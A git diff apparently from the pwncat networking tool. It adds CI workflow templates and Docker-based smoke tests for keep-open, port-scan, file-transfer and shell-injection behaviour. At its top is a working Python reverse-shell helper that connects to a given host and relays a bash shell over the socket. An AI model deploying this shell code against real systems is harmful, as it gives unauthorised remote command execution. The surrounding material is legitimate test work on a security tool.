self.proc = Popen( + self.cmd, + stdin=PIPE, + stdout=PIPE, + stderr=STDOUT, + bufsize=-1, + shell=False, + env=self.env, + ) + continue + print("Command Output: {}".format(repr(data))) + yield data + + def input(self, data): + """Command input.""" + self.proc.stdin.write(data) + try: + self.proc.stdin.flush() + except IOError: + pass + + +class IONetwork(object): + """IONetwork instance.""" + + def __init__(self, sock): + self.sock = sock + + def recv(self): + """Network receive.""" + while True: + data = self.sock.recv(8192) + if data: + print("Network Received: {}".format(repr(data))) + yield data + + def send(self, data, send_one_byte, send_delay, prefix1=None, prefix2=None, suffix1=None, suffix2=None): + """Network send.""" + # Do we send a prefix before all command output? + if prefix1 is not None: + self.sock.send(prefix1) + if prefix2 is not None: + self.sock.send(prefix2) + + size = len(data) + sent = 0 + if send_one_byte: + for char in data: + time.sleep(send_delay) + try: + # Python2 + sent += self.sock.send(char) + print("Sending: {}".format(repr(char))) + except TypeError: + # Python3 + sent += self.sock.send(bytes([char])) + print("Sending: {}".format(repr(bytes([char])))) + else: + while sent < size: + time.sleep(send_delay) + sent += self.sock.send(data) + + # Do we send a suffx after all command output? + if suffix1 is not None: + self.sock.send(suffix1) + if suffix2 is not None: + self.sock.send(suffix2) + return sent + + +def main(argv): + """Main entrypoint.""" + host = argv[1] + port = int(argv[2]) + send_one_byte = True if len(argv) > 3 and argv[3] == "1" else False + send_delay = float(argv[4]) if len(argv) > 4 and argv[4] else float(0.0) + banner = argv[5] if len(argv) > 5 and argv[5] else None + prefix1 = argv[6] if len(argv) > 6 and argv[6] else None + prefix2 = argv[7] if len(argv) > 7 and argv[7] else None + suffix1 = argv[8] if len(argv) > 8 and argv[8] else None + suffix2 = argv[9] if len(argv) > 9 and argv[9] else None + + if send_one_byte: + print("[SEND MODE]: sending one byte at a time.") + else: + print("[SEND MODE]: sending all bytes.") + + print("[SEND MODE]: Delaying send by {} seconds".format(send_delay)) + + + print("Connecting to {}:{}".format(host, port)) + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((host, port)) + print("Connected to {}:{}".format(host, port)) + + command = IOCommand("bash") + network = IONetwork(s) + + def exec_cmd(producer, consumer): + for data in producer(): + consumer(data) + + def add_queue(producer, q): + for data in producer(): + q.put(data) + + # Send Banner? + if banner is not None: + banner = banner.replace("\\n", "\n") + banner = banner.replace("\\r", "\r") + try: + banner = banner.encode("utf8") + except UnicodeDecodeError: + pass + print("[MODE]: sending banner: {}".format(repr(banner))) + time.sleep(send_delay) + s.sendall(banner) + + # Prepare prefix + if prefix1 is not None: + prefix1 = prefix1.replace("\\n", "\n") + prefix1 = prefix1.replace("\\r", "\r") + try: + prefix1 = prefix1.encode("utf8") + except UnicodeDecodeError: + pass + print("[MODE]: sending prefix1: {}".format(repr(prefix1))) + if prefix2 is not None: + prefix2 = prefix2.replace("\\n", "\n") + prefix2 = prefix2.replace("\\r", "\r") + try: + prefix2 = prefix2.encode("utf8") + except UnicodeDecodeError: + pass + print("[MODE]: sending prefix2: {}".format(repr(prefix2))) + + # Prepare suffix + if suffix1 is not None: + suffix1 = suffix1.replace("\\n", "\n") + suffix1 = suffix1.replace("\\r", "\r") + try: + suffix1 = suffix1.encode("utf8") + except UnicodeDecodeError: + pass + print("[MODE]: sending suffix1: {}".format(repr(suffix1))) + time.sleep(send_delay) + s.send(suffix1) + if suffix2 is not None: + suffix2 = suffix2.replace("\\n", "\n") + suffix2 = suffix2.replace("\\r", "\r") + try: + suffix2 = suffix2.encode("utf8") + except UnicodeDecodeError: + pass + print("[MODE]: sending suffix2: {}".format(repr(suffix2))) + time.sleep(send_delay) + s.send(suffix2) + + q = MyQueue() + t1 = threading.Thread(target=exec_cmd, args=(network.recv, command.input)) + t2 = threading.Thread(target=add_queue, args=(command.output, q)) + + t1.daemon = True + t2.daemon = True + t1.start() + t2.start() + + oldsize = 0 + newsize = 0 + data = [] + while True: + newsize = q.qsize() + if newsize > 0: + # No new items added during this round + if newsize == oldsize: + # Fetch all items and send them at once + while not q.empty(): + data.append(q.get()) + network.send(b"".join(data), send_one_byte, send_delay, prefix1, prefix2, suffix1, suffix2) + data = [] + # flush + oldsize = newsize + time.sleep(0.01) + + +if __name__ == "__main__": + try: + main(sys.argv) + except KeyboardInterrupt: + sys.exit(1) diff --git a/tests/pipelines/_gen-test.sh b/tests/pipelines/_gen-test.sh index 96822ea9..f73db13a 100644 --- a/tests/pipelines/_gen-test.sh +++ b/tests/pipelines/_gen-test.sh @@ -11,6 +11,22 @@ TPL_PATH="${SCRIPT_PATH}/${TPL_NAME}" FLW_PATH="${SCRIPT_PATH}/../../.github/workflows" +escape_for_sed() { + local data="${1}" + data="${data//\\/\\\\}" + data="${data//\"/\\\"}" + data="${data//\'/\\\'}" + data="${data//\(/\\\(}" + data="${data//\)/\\\)}" + data="${data//\{/\\\{}" + data="${data//\}/\\\}}" + data="${data//\$/\\\$}" + data="${data//\*/\\\*}" + data="${data//\;/\\\;}" + data="$( printf "%s" "${data}" | sed 's/$/__NL__/g' | tr -d '\n' )" + echo "${data}" +} + ### ### Build Matrix ### @@ -77,16 +93,7 @@ RETRY_FUNCTION="$(cat <<-'END_HEREDOC' } END_HEREDOC )" -RETRY_FUNCTION="${RETRY_FUNCTION//\"/\\\"}" -RETRY_FUNCTION="${RETRY_FUNCTION//\'/\\\'}" -RETRY_FUNCTION="${RETRY_FUNCTION//\(/\\\(}" -RETRY_FUNCTION="${RETRY_FUNCTION//\)/\\\)}" -RETRY_FUNCTION="${RETRY_FUNCTION//\{/\\\{}" -RETRY_FUNCTION="${RETRY_FUNCTION//\}/\\\}}" -RETRY_FUNCTION="${RETRY_FUNCTION//\$/\\\$}" -RETRY_FUNCTION="${RETRY_FUNCTION//\*/\\\*}" -RETRY_FUNCTION="${RETRY_FUNCTION//\;/\\\;}" -RETRY_FUNCTION="$( printf "%s" "${RETRY_FUNCTION}" | sed 's/$/__NL__/g' | tr -d '\n' )" +RETRY_FUNCTION="$( escape_for_sed "${RETRY_FUNCTION}" )" ### @@ -110,13 +117,39 @@ for v in "${VERSION_MATRIX[@]}"; do printf "Arch: %s\\n" "${arch}" printf "Python: %s\\n" "${py}" - + # Add custom jobs if [ "${os}" == "ubuntu" ]; then - os="${os}-16.04" - else - os="${os}-latest" + linux_jobs="" + macos_jobs="" + windows_jobs="" + fi + if [ "${os}" == "macos" ]; then + linux_jobs="" + macos_jobs="" + windows_jobs="" + fi + if [ "${os}" == "windows" ]; then + linux_jobs="" + macos_jobs="" + windows_jobs="$(cat <<-'END_HEREDOC' + - name: Add bash to the Path + run: | + echo "::add-path::c:\msys64\mingw32\bin" + echo "::add-path::c:\msys64\usr\bin" +END_HEREDOC +)" + windows_jobs="$( escape_for_sed "${windows_jobs}" )" + windows_jobs="" fi + + os="${os}-latest" + #if [ "${os}" == "ubuntu" ]; then + # os="${os}-16.04" + #else + # os="${os}-latest" + #fi + retry_func_crlf="${RETRY_FUNCTION}" # Disable comments for specific combinations crlf_comment="" @@ -129,12 +162,16 @@ for v in "${VERSION_MATRIX[@]}"; do # shellcheck disable=SC2002 cat "${TPL_PATH}" \ | sed "s/__DISABLE_CRLF__/${crlf_comment}/g" \ - | sed "s|__RETRY_FUNCTION_CRLF__|${retry_func_crlf}|g" | sed "s/__NL__/\\n/g" \ - | sed "s|__RETRY_FUNCTION__|${RETRY_FUNCTION}|g" | sed "s/__NL__/\\n/g" \ + | sed "s|__RETRY_FUNCTION_CRLF__|${retry_func_crlf}|g" \ + | sed "s|__RETRY_FUNCTION__|${RETRY_FUNCTION}|g" \ | sed "s/__WORKFLOW_NAME__/${flw_name}/g" \ | sed "s/__OS__/${os}/g" \ | sed "s/__PYTHON_VERSION__/${py}/g" \ | sed "s/__JOB_NAME__/${job_name}/g" \ | sed "s/__ARCHITECTURE__/${arch}/g" \ + | sed "s#__LINUX_JOBS__#${linux_jobs}#g" \ + | sed "s#__MACOS_JOBS__#${macos_jobs}#g" \ + | sed "s#__WINDOWS_JOBS__#${windows_jobs}#g" \ + | sed "s/__NL__/\\n/g" \ > "${flw_file}" done diff --git a/tests/pipelines/template-smoke.yml.tpl b/tests/pipelines/template-smoke.yml.tpl index a2aad23d..0f0ab898 100644 --- a/tests/pipelines/template-smoke.yml.tpl +++ b/tests/pipelines/template-smoke.yml.tpl @@ -23,16 +23,46 @@ jobs: - name: Checkout repository uses: actions/checkout@v2 + - name: Docker versions + shell: bash + run: | + docker version + + - name: Docker Compose versions + shell: bash + run: | + docker-compose version + # ------------------------------------------------------------ # Tests: Behaviour # ------------------------------------------------------------ - - name: "[keep-open] before send" + - name: "[keep-open] before send (kill srv)" + shell: bash + run: | + make _smoke-keep_open-kill_srv-before_send PYTHON_VERSION=__PYTHON_VERSION__ + + - name: "[keep-open] after send (kill srv)" + shell: bash + run: | + make _smoke-keep_open-kill_srv-send_data PYTHON_VERSION=__PYTHON_VERSION__ + + - name: "[port scan] tcp (no banner)" + shell: bash + run: | + make _smoke-tcp_port_scan-no_banner PYTHON_VERSION=__PYTHON_VERSION__ + + - name: "[port scan] tcp (with banner)" + shell: bash + run: | + make _smoke-tcp_port_scan-with_banner PYTHON_VERSION=__PYTHON_VERSION__ + + - name: "[port scan] udp (no banner)" shell: bash run: | - make _smoke-keep_open-before_send PYTHON_VERSION=__PYTHON_VERSION__ + make _smoke-udp_port_scan-no_banner PYTHON_VERSION=__PYTHON_VERSION__ - - name: "[keep-open] after client sends" + - name: "[port scan] udp (with banner)" shell: bash run: | - make _smoke-keep_open-after_client_send PYTHON_VERSION=__PYTHON_VERSION__ + make _smoke-udp_port_scan-with_banner PYTHON_VERSION=__PYTHON_VERSION__ diff --git a/tests/pipelines/template-test.yml.tpl b/tests/pipelines/template-test.yml.tpl index 42d3241d..aa1a527a 100644 --- a/tests/pipelines/template-test.yml.tpl +++ b/tests/pipelines/template-test.yml.tpl @@ -29,9 +29,11 @@ jobs: python-version: __PYTHON_VERSION__ architecture: __ARCHITECTURE__ - - name: Display Python version - shell: bash - run: python -c "import sys; print(sys.version)" + - name: Set up PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '7.4' + ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash @@ -49,6 +51,31 @@ jobs: cat /etc/hosts fi +__WINDOWS_JOBS__ +__LINUX_JOBS__ +__MACOS_JOBS__ + + - name: Display Bash version + shell: bash + run: | + bash --version + whereis bash || true + which bash || true + + - name: Display Python version + shell: bash + run: | + python -c "import sys; print(sys.version)" + whereis python || true + which python || true + + - name: Display PHP version + shell: bash + run: | + php --version + whereis php || true + which php || true + - name: Resolve localhost shell: bash run: | @@ -72,7 +99,6 @@ jobs: # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | @@ -408,3 +434,65 @@ __RETRY_FUNCTION__ retry make _test-options--ping_word env: RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: Behaviour (File Transfer) + # ------------------------------------------------------------ + - name: "[BEHAVIOUR] File Transfer: send normal" + shell: bash + run: | +__RETRY_FUNCTION__ + retry make __test-behaviour-base--file_transfer-send_normal + env: + RETRIES: 5 + + - name: "[BEHAVIOUR] File Transfer: send on eof" + shell: bash + run: | +__RETRY_FUNCTION__ + retry make __test-behaviour-base--file_transfer-send_on_eof + env: + RETRIES: 5 + + # ------------------------------------------------------------ + # Tests: CNC Self-inject + # ------------------------------------------------------------ + - name: "[CNC] Inject shell: pwncat as rev shell" + shell: bash + run: | +__RETRY_FUNCTION__ + retry make __test-cnc--inject_shell-pwncat + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" + shell: bash + run: | +__RETRY_FUNCTION__ + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" + shell: bash + run: | +__RETRY_FUNCTION__ + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" + shell: bash + run: | +__RETRY_FUNCTION__ + retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed + env: + RETRIES: 2 + + - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" + shell: bash + run: | +__RETRY_FUNCTION__ + retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed + env: + RETRIES: 2 diff --git a/tests/smoke/200---tcp---keep_open---kill_server---no_send/docker-compose.yml b/tests/smoke/200---tcp---keep_open---kill_server---no_send/docker-compose.yml new file mode 100644 index 00000000..ba29cc10 --- /dev/null +++ b/tests/smoke/200---tcp---keep_open---kill_server---no_send/docker-compose.yml @@ -0,0 +1,24 @@ +--- +version: "3.3" + +services: + ### + ### (1) [TCP] [--keep-open] + ### SIGINT (Ctrl+c) on Server (not sending data) + ### + server: + image: python:${PYTHON_VERSION}-alpine + hostname: server + command: python${PYTHON_VERSION} /usr/bin/pwncat --no-shutdown -vvvvv -l 4444 --keep-open + restart: "no" + volumes: + - ../../../bin/pwncat:/usr/bin/pwncat + client: + image: python:${PYTHON_VERSION}-alpine + hostname: client + command: python${PYTHON_VERSION} /usr/bin/pwncat --no-shutdown -vvvvv server 4444 + restart: "no" + volumes: + - ../../../bin/pwncat:/usr/bin/pwncat + depends_on: + - server diff --git a/tests/smoke/200---tcp---keep_open---kill_server---no_send/run.sh b/tests/smoke/200---tcp---keep_open---kill_server---no_send/run.sh new file mode 100755 index 00000000..8f2f5c6b --- /dev/null +++ b/tests/smoke/200---tcp---keep_open---kill_server---no_send/run.sh @@ -0,0 +1,170 @@ +#!/usr/bin/env bash + +set -e +set -u +set -o pipefail + +SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" +SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" +COMPOSEDIR="${SCRIPTPATH}/" +# shellcheck disable=SC1090 +source "${SOURCEPATH}" + + +# ------------------------------------------------------------------------------------------------- +# SETTINGS +# ------------------------------------------------------------------------------------------------- +WAIT_STARTUP=6 +WAIT_SHUTDOWN=6 + + +# ------------------------------------------------------------------------------------------------- +# CHECKS +# ------------------------------------------------------------------------------------------------- + +COMPOSE="" +PYTHON_VERSION="${1:-3.8}" +COMPOSEDIR="${SCRIPTPATH}/${COMPOSE}" + +if [ ! -f "${COMPOSEDIR}/docker-compose.yml" ]; then + print_error "docker-compose.yml not found in: ${COMPOSEDIR}/docker-compose.yml." + exit 1 +fi +if ! command -v docker >/dev/null 2>&1; then + print_error "docker binary not found, but required." + exit 1 +fi +if ! command -v docker-compose >/dev/null 2>&1; then + print_error "docker-compose binary not found, but required." + exit 1 +fi + + +# ------------------------------------------------------------------------------------------------- +# APPLY VERSION +# ------------------------------------------------------------------------------------------------- + +echo "PYTHON_VERSION=${PYTHON_VERSION}" > "${COMPOSEDIR}/.env" +print_test_case "Python ${PYTHON_VERSION}" + + +# ------------------------------------------------------------------------------------------------- +# GET ARTIFACTS +# ------------------------------------------------------------------------------------------------- +print_h2 "(1/5) Get artifacts" + +cd "${COMPOSEDIR}" + +# shellcheck disable=SC2050 +while [ "1" -eq "1" ]; do + if run "docker-compose pull"; then + break + fi + sleep 1 +done + + +# ------------------------------------------------------------------------------------------------- +# CLEAN UP +# ------------------------------------------------------------------------------------------------- +print_h2 "(1/5) Stopping Docker Compose" + +run "docker-compose kill || true 2>/dev/null" +run "docker-compose rm -f || true 2>/dev/null" + + +# ------------------------------------------------------------------------------------------------- +# START +# ------------------------------------------------------------------------------------------------- +print_h2 "(2/5) Starting compose" + +cd "${COMPOSEDIR}" +run "docker-compose up -d" +run "sleep ${WAIT_STARTUP}" + + +# ------------------------------------------------------------------------------------------------- +# VALIDATE +# ------------------------------------------------------------------------------------------------- +print_h2 "(3/5) Validate running" + +if ! run "docker-compose ps --filter 'status=running' --services | grep server"; then + run "docker-compose logs" + run "docker-compose ps" + run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" + run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" + run "docker-compose kill || true 2>/dev/null" + run "docker-compose rm -f || true 2>/dev/null" + print_error "Server is not running" + exit 1 +fi +if ! run "docker-compose ps --filter 'status=running' --services | grep client"; then + run "docker-compose logs" + run "docker-compose ps" + run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" + run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" + run "docker-compose kill || true 2>/dev/null" + run "docker-compose rm -f || true 2>/dev/null" + print_error "Client is not running" + exit 1 +fi + +run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" +run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" + + +# ------------------------------------------------------------------------------------------------- +# TEST +# ------------------------------------------------------------------------------------------------- +print_h2 "(4/5) Test" + +if ! run "docker-compose exec $( tty -s && echo || echo '-T' ) server kill -2 1"; then + run "docker-compose logs" + run "docker-compose ps" + run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" + run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" + run "docker-compose kill || true 2>/dev/null" + run "docker-compose rm -f || true 2>/dev/null" + print_error "Kill command not successful" + exit 1 +fi + +run "sleep ${WAIT_SHUTDOWN}" +run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" +run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" + + + +if ! run_fail "docker-compose ps --filter 'status=running' --services | grep server"; then + run "docker-compose logs" + run "docker-compose ps" + run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" + run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" + run "docker-compose kill || true 2>/dev/null" + run "docker-compose rm -f || true 2>/dev/null" + print_error "Server was supposed to stop, it is running" + exit 1 +fi + +if ! run_fail "docker-compose ps --filter 'status=running' --services | grep client"; then + run "docker-compose logs" + run "docker-compose ps" + run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" + run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" + run "docker-compose kill || true 2>/dev/null" + run "docker-compose rm -f || true 2>/dev/null" + print_error "Client was supposed to stop, it is running" + exit 1 +fi + + +# ------------------------------------------------------------------------------------------------- +# CLEAN UP +# ------------------------------------------------------------------------------------------------- +print_h2 "(5/5) Stopping Docker Compose" + +run "docker-compose logs server" +run "docker-compose logs client" +run "docker-compose ps" +run "docker-compose kill || true 2>/dev/null" +run "docker-compose rm -f || true 2>/dev/null" diff --git a/tests/smoke/200---tcp---keep_open/docker-compose.yml b/tests/smoke/200---tcp---keep_open/docker-compose.yml deleted file mode 100644 index 56f633ad..00000000 --- a/tests/smoke/200---tcp---keep_open/docker-compose.yml +++ /dev/null @@ -1,54 +0,0 @@ ---- -version: "3.3" - -services: - ### - ### (1) [TCP] [--keep-open] - ### SIGINT (Ctrl+c) on Server (not sending data) - ### - server_1: - image: python:${PYTHON_VERSION}-alpine - hostname: server - command: python${PYTHON_VERSION} /usr/bin/pwncat -vvvvv -l 4444 --keep-open - restart: "no" - ports: - - "4444:4444/tcp" - - "4444:4444/udp" - volumes: - - ../../../bin/pwncat:/usr/bin/pwncat - client_1: - image: python:${PYTHON_VERSION}-alpine - hostname: client - command: python${PYTHON_VERSION} /usr/bin/pwncat -vvvvv server_1 4444 - restart: "no" - volumes: - - ../../../bin/pwncat:/usr/bin/pwncat - depends_on: - - server_1 - - ### - ### (2) [TCP] [--keep-open] - ### SIGINT (Ctrl+c) on Server (Client sends data) - ### - server_2: - image: python:${PYTHON_VERSION}-alpine - hostname: server - command: python${PYTHON_VERSION} /usr/bin/pwncat -vvvvv -l 4444 --keep-open - restart: "no" - ports: - - "4444:4444/tcp" - - "4444:4444/udp" - volumes: - - ../../../bin/pwncat:/usr/bin/pwncat - client_2: - image: python:${PYTHON_VERSION}-alpine - hostname: client - command: /start.sh "server_2" "4444" - restart: "no" - volumes: - - ../../../bin/pwncat:/usr/bin/pwncat - - ./start_client_send.sh:/start.sh - environment: - PYTHON_VERSION: ${PYTHON_VERSION} - depends_on: - - server_2 diff --git a/tests/smoke/200---tcp---keep_open/start_client_send.sh b/tests/smoke/200---tcp---keep_open/start_client_send.sh deleted file mode 100755 index 0096d1e4..00000000 --- a/tests/smoke/200---tcp---keep_open/start_client_send.sh +++ /dev/null @@ -1,9 +0,0 @@ -#!/bin/sh -set -e -set -u -set -x - -RHOST="${1}" -RPORT="${2}" - -printf "hi\\n" | "python${PYTHON_VERSION}" /usr/bin/pwncat -vvvvv "${RHOST}" "${RPORT}" diff --git a/tests/smoke/201---tcp---keep_open---kill_server---send_data/data/start_client_send.sh b/tests/smoke/201---tcp---keep_open---kill_server---send_data/data/start_client_send.sh new file mode 100755 index 00000000..9612994f --- /dev/null +++ b/tests/smoke/201---tcp---keep_open---kill_server---send_data/data/start_client_send.sh @@ -0,0 +1,9 @@ +#!/bin/sh +set -e +set -u +set -x + +RHOST="${1}" +RPORT="${2}" + +printf "hi\\n" | "python${PYTHON_VERSION}" /usr/bin/pwncat --no-shutdown -vvvvv "${RHOST}" "${RPORT}" diff --git a/tests/smoke/201---tcp---keep_open---kill_server---send_data/docker-compose.yml b/tests/smoke/201---tcp---keep_open---kill_server---send_data/docker-compose.yml new file mode 100644 index 00000000..6b3108f8 --- /dev/null +++ b/tests/smoke/201---tcp---keep_open---kill_server---send_data/docker-compose.yml @@ -0,0 +1,27 @@ +--- +version: "3.3" + +services: + ### + ### (1) [TCP] [--keep-open] + ### SIGINT (Ctrl+c) on Server (Client sends data) + ### + server: + image: python:${PYTHON_VERSION}-alpine + hostname: server + command: python${PYTHON_VERSION} /usr/bin/pwncat --no-shutdown -vvvvv -l 4444 --keep-open + restart: "no" + volumes: + - ../../../bin/pwncat:/usr/bin/pwncat + client: + image: python:${PYTHON_VERSION}-alpine + hostname: client + command: /start.sh "server" "4444" + restart: "no" + volumes: + - ../../../bin/pwncat:/usr/bin/pwncat + - ./data/start_client_send.sh:/start.sh + environment: + PYTHON_VERSION: ${PYTHON_VERSION} + depends_on: + - server diff --git a/tests/smoke/201---tcp---keep_open---kill_server---send_data/run.sh b/tests/smoke/201---tcp---keep_open---kill_server---send_data/run.sh new file mode 100755 index 00000000..8f2f5c6b --- /dev/null +++ b/tests/smoke/201---tcp---keep_open---kill_server---send_data/run.sh @@ -0,0 +1,170 @@ +#!/usr/bin/env bash + +set -e +set -u +set -o pipefail + +SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" +SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" +COMPOSEDIR="${SCRIPTPATH}/" +# shellcheck disable=SC1090 +source "${SOURCEPATH}" + + +# ------------------------------------------------------------------------------------------------- +# SETTINGS +# ------------------------------------------------------------------------------------------------- +WAIT_STARTUP=6 +WAIT_SHUTDOWN=6 + + +# ------------------------------------------------------------------------------------------------- +# CHECKS +# ------------------------------------------------------------------------------------------------- + +COMPOSE="" +PYTHON_VERSION="${1:-3.8}" +COMPOSEDIR="${SCRIPTPATH}/${COMPOSE}" + +if [ ! -f "${COMPOSEDIR}/docker-compose.yml" ]; then + print_error "docker-compose.yml not found in: ${COMPOSEDIR}/docker-compose.yml." + exit 1 +fi +if ! command -v docker >/dev/null 2>&1; then + print_error "docker binary not found, but required." + exit 1 +fi +if ! command -v docker-compose >/dev/null 2>&1; then + print_error "docker-compose binary not found, but required." + exit 1 +fi + + +# ------------------------------------------------------------------------------------------------- +# APPLY VERSION +# ------------------------------------------------------------------------------------------------- + +echo "PYTHON_VERSION=${PYTHON_VERSION}" > "${COMPOSEDIR}/.env" +print_test_case "Python ${PYTHON_VERSION}" + + +# ------------------------------------------------------------------------------------------------- +# GET ARTIFACTS +# ------------------------------------------------------------------------------------------------- +print_h2 "(1/5) Get artifacts" + +cd "${COMPOSEDIR}" + +# shellcheck disable=SC2050 +while [ "1" -eq "1" ]; do + if run "docker-compose pull"; then + break + fi + sleep 1 +done + + +# ------------------------------------------------------------------------------------------------- +# CLEAN UP +# ------------------------------------------------------------------------------------------------- +print_h2 "(1/5) Stopping Docker Compose" + +run "docker-compose kill || true 2>/dev/null" +run "docker-compose rm -f || true 2>/dev/null" + + +# ------------------------------------------------------------------------------------------------- +# START +# ------------------------------------------------------------------------------------------------- +print_h2 "(2/5) Starting compose" + +cd "${COMPOSEDIR}" +run "docker-compose up -d" +run "sleep ${WAIT_STARTUP}" + + +# ------------------------------------------------------------------------------------------------- +# VALIDATE +# ------------------------------------------------------------------------------------------------- +print_h2 "(3/5) Validate running" + +if ! run "docker-compose ps --filter 'status=running' --services | grep server"; then + run "docker-compose logs" + run "docker-compose ps" + run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" + run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" + run "docker-compose kill || true 2>/dev/null" + run "docker-compose rm -f || true 2>/dev/null" + print_error "Server is not running" + exit 1 +fi +if ! run "docker-compose ps --filter 'status=running' --services | grep client"; then + run "docker-compose logs" + run "docker-compose ps" + run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" + run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" + run "docker-compose kill || true 2>/dev/null" + run "docker-compose rm -f || true 2>/dev/null" + print_error "Client is not running" + exit 1 +fi + +run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" +run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" + + +# ------------------------------------------------------------------------------------------------- +# TEST +# ------------------------------------------------------------------------------------------------- +print_h2 "(4/5) Test" + +if ! run "docker-compose exec $( tty -s && echo || echo '-T' ) server kill -2 1"; then + run "docker-compose logs" + run "docker-compose ps" + run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" + run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" + run "docker-compose kill || true 2>/dev/null" + run "docker-compose rm -f || true 2>/dev/null" + print_error "Kill command not successful" + exit 1 +fi + +run "sleep ${WAIT_SHUTDOWN}" +run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" +run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" + + + +if ! run_fail "docker-compose ps --filter 'status=running' --services | grep server"; then + run "docker-compose logs" + run "docker-compose ps" + run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" + run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" + run "docker-compose kill || true 2>/dev/null" + run "docker-compose rm -f || true 2>/dev/null" + print_error "Server was supposed to stop, it is running" + exit 1 +fi + +if ! run_fail "docker-compose ps --filter 'status=running' --services | grep client"; then + run "docker-compose logs" + run "docker-compose ps" + run "docker-compose exec $( tty -s && echo || echo '-T' ) client ps || true" + run "docker-compose exec $( tty -s && echo || echo '-T' ) server ps || true" + run "docker-compose kill || true 2>/dev/null" + run "docker-compose rm -f || true 2>/dev/null" + print_error "Client was supposed to stop, it is running" + exit 1 +fi + + +# ------------------------------------------------------------------------------------------------- +# CLEAN UP +# ------------------------------------------------------------------------------------------------- +print_h2 "(5/5) Stopping Docker Compose" + +run "docker-compose logs server" +run "docker-compose logs client" +run "docker-compose ps" +run "docker-compose kill || true 2>/dev/null" +run "docker-compose rm -f || true 2>/dev/null" diff --git a/tests/smoke/300---tcp---port_scan---no_banner/docker-compose.yml b/tests/smoke/300---tcp---port_scan---no_banner/docker-compose.yml new file mode 100644 index 00000000..5b4ffb3e --- /dev/null +++ b/tests/smoke/300---tcp---port_scan---no_banner/docker-compose.yml @@ -0,0 +1,15 @@ +--- +version: "3.3" + +services: + ### + ### (1) [TCP] [-z] + ### SIGINT (Ctrl+c) + ### + scanner: + image: python:${PYTHON_VERSION}-alpine + hostname: server + command: python${PYTHON_VERSION} /usr/bin/pwncat -z -vvvv localhost 1-65535 + restart: "no" + volumes: + - ../../../bin/pwncat:/usr/bin/pwncat diff --git a/tests/smoke/300---tcp---port_scan---no_banner/run.sh b/tests/smoke/300---tcp---port_scan---no_banner/run.sh new file mode 100755 index 00000000..ddf3f554 --- /dev/null +++ b/tests/smoke/300---tcp---port_scan---no_banner/run.sh @@ -0,0 +1,143 @@ +#!/usr/bin/env bash + +set -e +set -u +set -o pipefail + +SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" +SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" +COMPOSEDIR="${SCRIPTPATH}/" +# shellcheck disable=SC1090 +source "${SOURCEPATH}" + + +# ------------------------------------------------------------------------------------------------- +# SETTINGS +# ------------------------------------------------------------------------------------------------- +WAIT_STARTUP=7 +WAIT_SHUTDOWN=15 +NAME1="scanner" + +# ------------------------------------------------------------------------------------------------- +# CHECKS +# ------------------------------------------------------------------------------------------------- + +COMPOSE="" +PYTHON_VERSION="${1:-3.8}" +COMPOSEDIR="${SCRIPTPATH}/${COMPOSE}" + +if [ ! -f "${COMPOSEDIR}/docker-compose.yml" ]; then + print_error "docker-compose.yml not found in: ${COMPOSEDIR}/docker-compose.yml." + exit 1 +fi +if ! command -v docker >/dev/null 2>&1; then + print_error "docker binary not found, but required." + exit 1 +fi +if ! command -v docker-compose >/dev/null 2>&1; then + print_error "docker-compose binary not found, but required." + exit 1 +fi + + +# ------------------------------------------------------------------------------------------------- +# APPLY VERSION +# ------------------------------------------------------------------------------------------------- + +echo "PYTHON_VERSION=${PYTHON_VERSION}" > "${COMPOSEDIR}/.env" +print_test_case "Python ${PYTHON_VERSION}" + + +# ------------------------------------------------------------------------------------------------- +# GET ARTIFACTS +# ------------------------------------------------------------------------------------------------- +print_h2 "(1/5) Get artifacts" + +cd "${COMPOSEDIR}" + +# shellcheck disable=SC2050 